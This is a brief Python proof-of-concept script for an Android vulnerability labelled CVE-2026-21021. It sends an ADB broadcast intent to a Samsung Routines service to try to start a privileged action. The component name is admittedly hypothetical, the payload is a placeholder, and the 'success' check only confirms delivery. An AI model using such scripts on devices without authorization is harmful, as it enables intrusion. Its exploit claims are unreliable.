The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-21021
# This script demonstrates how an attacker might attempt to trigger the vulnerability via ADB.
# Note: This requires physical access and ADB enabled (or bypassing ADB auth).
import subprocess
def trigger_privileged_activity():
# Malicious intent payload targeting the vulnerable Routines component
# The specific component name is hypothetical based on the vulnerability description.
target_component = "com.samsung.android.routines/.service.RoutinesTriggerService"
malicious_action = "com.samsung.android.routines.action.LAUNCH_PRIVILEGED"
try:
# Constructing the adb command to send a broadcast intent
cmd = [
"adb", "shell", "am", "broadcast",
"-a", malicious_action,
"-n", target_component,
"--es", "payload", "malicious_input"
]
print("[*] Attempting to trigger vulnerability in CVE-2026-21021...")
result = subprocess.run(cmd, capture_output=True, text=True)
if "Broadcast completed: result=0" in result.stdout:
print("[+] Potential exploit successful. Privileged activity may have started.")
else:
print("[-] Exploit failed or patched.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
trigger_privileged_activity()